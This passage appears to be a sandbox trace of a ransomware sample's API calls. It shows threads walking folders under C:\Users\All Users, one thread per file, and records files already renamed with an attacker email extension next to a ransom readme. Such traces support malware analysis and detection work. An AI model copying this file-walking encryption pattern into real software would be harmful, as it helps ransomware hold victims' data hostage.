lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x8c1ade50, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c1ade50, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0168.770] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2=".") returned 1 [0168.770] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2="..") returned 1 [0168.770] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fe51d0 [0168.771] wcscpy (in: _Dest=0x2fe51d0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.771] wcscat (in: _Dest=0x2fe51d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.771] wcscat (in: _Dest=0x2fe51d0, _Source="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0168.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fe51d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0168.771] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0168.771] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2=".") returned 1 [0168.771] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2="..") returned 1 [0168.771] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6de70 [0168.771] wcscpy (in: _Dest=0x2f6de70, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.771] wcscat (in: _Dest=0x2f6de70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.771] wcscat (in: _Dest=0x2f6de70, _Source="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0168.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6de70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0168.772] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0168.772] FindClose (in: hFindFile=0x2f80060 | out: hFindFile=0x2f80060) returned 1 [0168.773] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b800) returned 1 [0168.773] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa10e0) returned 1 [0168.773] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa13b0) returned 1 [0168.773] RtlExitUserThread (Status=0x0) Thread: id = 1767 os_tid = 0xe5c [0168.735] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x62) returned 0x2f604a0 [0168.735] wcscpy (in: _Dest=0x2f604a0, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft" [0168.735] wcscat (in: _Dest=0x2f604a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0168.736] wcscat (in: _Dest=0x2f604a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\*") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\*" [0168.736] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c408 [0168.736] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x87531608, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87531608, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f800e0 [0168.738] wcscmp (_String1=".", _String2=".") returned 0 [0168.738] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x87531608, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87531608, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.738] wcscmp (_String1="..", _String2=".") returned 1 [0168.738] wcscmp (_String1="..", _String2="..") returned 0 [0168.738] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87498d11, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87498d11, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87498d11, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.738] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.738] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.738] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x4af5600b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x87498d11, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="REGID1~1.D0E")) returned 1 [0168.738] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.738] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.738] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f6ab60 [0168.738] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft" [0168.738] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0168.738] wcscat (in: _Dest=0x2f6ab60, _Source="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kokoklock@cock.li].d0e731" [0168.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc [0168.753] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbfefc00, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0xda9f4a95, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x874beee4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="REGID1~2.D0E")) returned 1 [0168.753] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.753] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.753] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x2f8f458 [0168.753] wcscpy (in: _Dest=0x2f8f458, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft" [0168.753] wcscat (in: _Dest=0x2f8f458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0168.753] wcscat (in: _Dest=0x2f8f458, _Source="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kokoklock@cock.li].d0e731" [0168.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598 [0168.754] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1446700, ftCreationTime.dwHighDateTime=0x1d0d7c7, ftLastAccessTime.dwLowDateTime=0x53fba98c, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x874e512a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="REGID1~3.D0E")) returned 1 [0168.754] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.754] wcscmp (_String1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.754] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2f89078 [0168.754] wcscpy (in: _Dest=0x2f89078, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft" [0168.754] wcscat (in: _Dest=0x2f89078, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0168.754] wcscat (in: _Dest=0x2f89078, _Source="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kokoklock@cock.li].d0e731" [0168.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f89078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594 [0168.754] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8750b4af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="REGID1~4.D0E")) returned 1 [0168.754] wcscmp (_String1="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.755] wcscmp (_String1="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.755] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x2f90640 [0168.755] wcscpy (in: _Dest=0x2f90640, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft" [0168.755] wcscat (in: _Dest=0x2f90640, _Source="\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0168.755] wcscat (in: _Dest=0x2f90640, _Source="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731" [0168.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0168.755] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7be169cf, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x6f2e8f23, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8750b4af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="REGID1~4.D0E")) returned 0 [0168.755] FindClose (in: hFindFile=0x2f800e0 | out: hFindFile=0x2f800e0) returned 1 [0168.756] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c408) returned 1 [0168.756] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f604a0) returned 1 [0168.756] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87e38) returned 1 [0168.756] RtlExitUserThread (Status=0x0) Thread: id = 1768 os_tid = 0xe60 [0168.739] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2faa150 [0168.739] wcscpy (in: _Dest=0x2faa150, _Source="C:\\Users\\All Users\\SoftwareDistribution" | out: _Dest="C:\\Users\\All Users\\SoftwareDistribution") returned="C:\\Users\\All Users\\SoftwareDistribution" [0168.739] wcscat (in: _Dest=0x2faa150, _Source="\\" | out: _Dest="C:\\Users\\All Users\\SoftwareDistribution\\") returned="C:\\Users\\All Users\\SoftwareDistribution\\" [0168.739] wcscat (in: _Dest=0x2faa150, _Source="*" | out: _Dest="C:\\Users\\All Users\\SoftwareDistribution\\*") returned="C:\\Users\\All Users\\SoftwareDistribution\\*" [0168.739] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99d88 [0168.739] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\SoftwareDistribution\\*", lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80120 [0168.739] wcscmp (_String1=".", _String2=".") returned 0 [0168.739] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.739] wcscmp (_String1="..", _String2=".") returned 1 [0168.739] wcscmp (_String1="..", _String2="..") returned 0 [0168.739] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0168.739] FindClose (in: hFindFile=0x2f80120 | out: hFindFile=0x2f80120) returned 1 [0168.739] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99d88) returned 1 [0168.739] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa150) returned 1 [0168.740] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6b640) returned 1 [0168.740] RtlExitUserThread (Status=0x0) Thread: id = 1769 os_tid = 0xe64 [0168.741] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87668 [0168.741] wcscpy (in: _Dest=0x2f87668, _Source="C:\\Users\\All Users\\Start Menu" | out: _Dest="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu" [0168.741] wcscat (in: _Dest=0x2f87668, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Start Menu\\") returned="C:\\Users\\All Users\\Start Menu\\" [0168.741] wcscat (in: _Dest=0x2f87668, _Source="*" | out: _Dest="C:\\Users\\All Users\\Start Menu\\*") returned="C:\\Users\\All Users\\Start Menu\\*" [0168.741] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99d88 [0168.741] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\*", lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99d88) returned 1 [0168.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87668) returned 1 [0168.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0168.741] RtlExitUserThread (Status=0x0) Thread: id = 1770 os_tid = 0xe68 [0168.742] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3e) returned 0x2f87668 [0168.742] wcscpy (in: _Dest=0x2f87668, _Source="C:\\Users\\All Users\\Templates" | out: _Dest="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates" [0168.742] wcscat (in: _Dest=0x2f87668, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Templates\\") returned="C:\\Users\\All Users\\Templates\\" [0168.742] wcscat (in: _Dest=0x2f87668, _Source="*" | out: _Dest="C:\\Users\\All Users\\Templates\\*") returned="C:\\Users\\All Users\\Templates\\*" [0168.742] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99d88 [0168.742] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Templates\\*", lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.742] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99d88) returned 1 [0168.742] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87668) returned 1 [0168.742] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876b0) returned 1 [0168.743] RtlExitUserThread (Status=0x0) Thread: id = 1771 os_tid = 0xe6c [0168.743] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87668 [0168.744] wcscpy (in: _Dest=0x2f87668, _Source="C:\\Users\\All Users\\USOPrivate" | out: _Dest="C:\\Users\\All Users\\USOPrivate") returned="C:\\Users\\All Users\\USOPrivate" [0168.744] wcscat (in: _Dest=0x2f87668, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\") returned="C:\\Users\\All Users\\USOPrivate\\" [0168.744] wcscat (in: _Dest=0x2f87668, _Source="*" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\*") returned="C:\\Users\\All Users\\USOPrivate\\*" [0168.744] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99d88 [0168.744] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\*", lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.744] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99d88) returned 1 [0168.744] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87668) returned 1 [0168.744] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876f8) returned 1 [0168.744] RtlExitUserThread (Status=0x0) Thread: id = 1772 os_tid = 0xe70 [0168.745] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3e) returned 0x2f87668 [0168.745] wcscpy (in: _Dest=0x2f87668, _Source="C:\\Users\\All Users\\USOShared" | out: _Dest="C:\\Users\\All Users\\USOShared") returned="C:\\Users\\All Users\\USOShared" [0168.745] wcscat (in: _Dest=0x2f87668, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\") returned="C:\\Users\\All Users\\USOShared\\" [0168.745] wcscat (in: _Dest=0x2f87668, _Source="*" | out: _Dest="C:\\Users\\All Users\\USOShared\\*") returned="C:\\Users\\All Users\\USOShared\\*" [0168.745] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99d88 [0168.745] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\*", lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80120 [0168.745] wcscmp (_String1=".", _String2=".") returned 0 [0168.745] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, 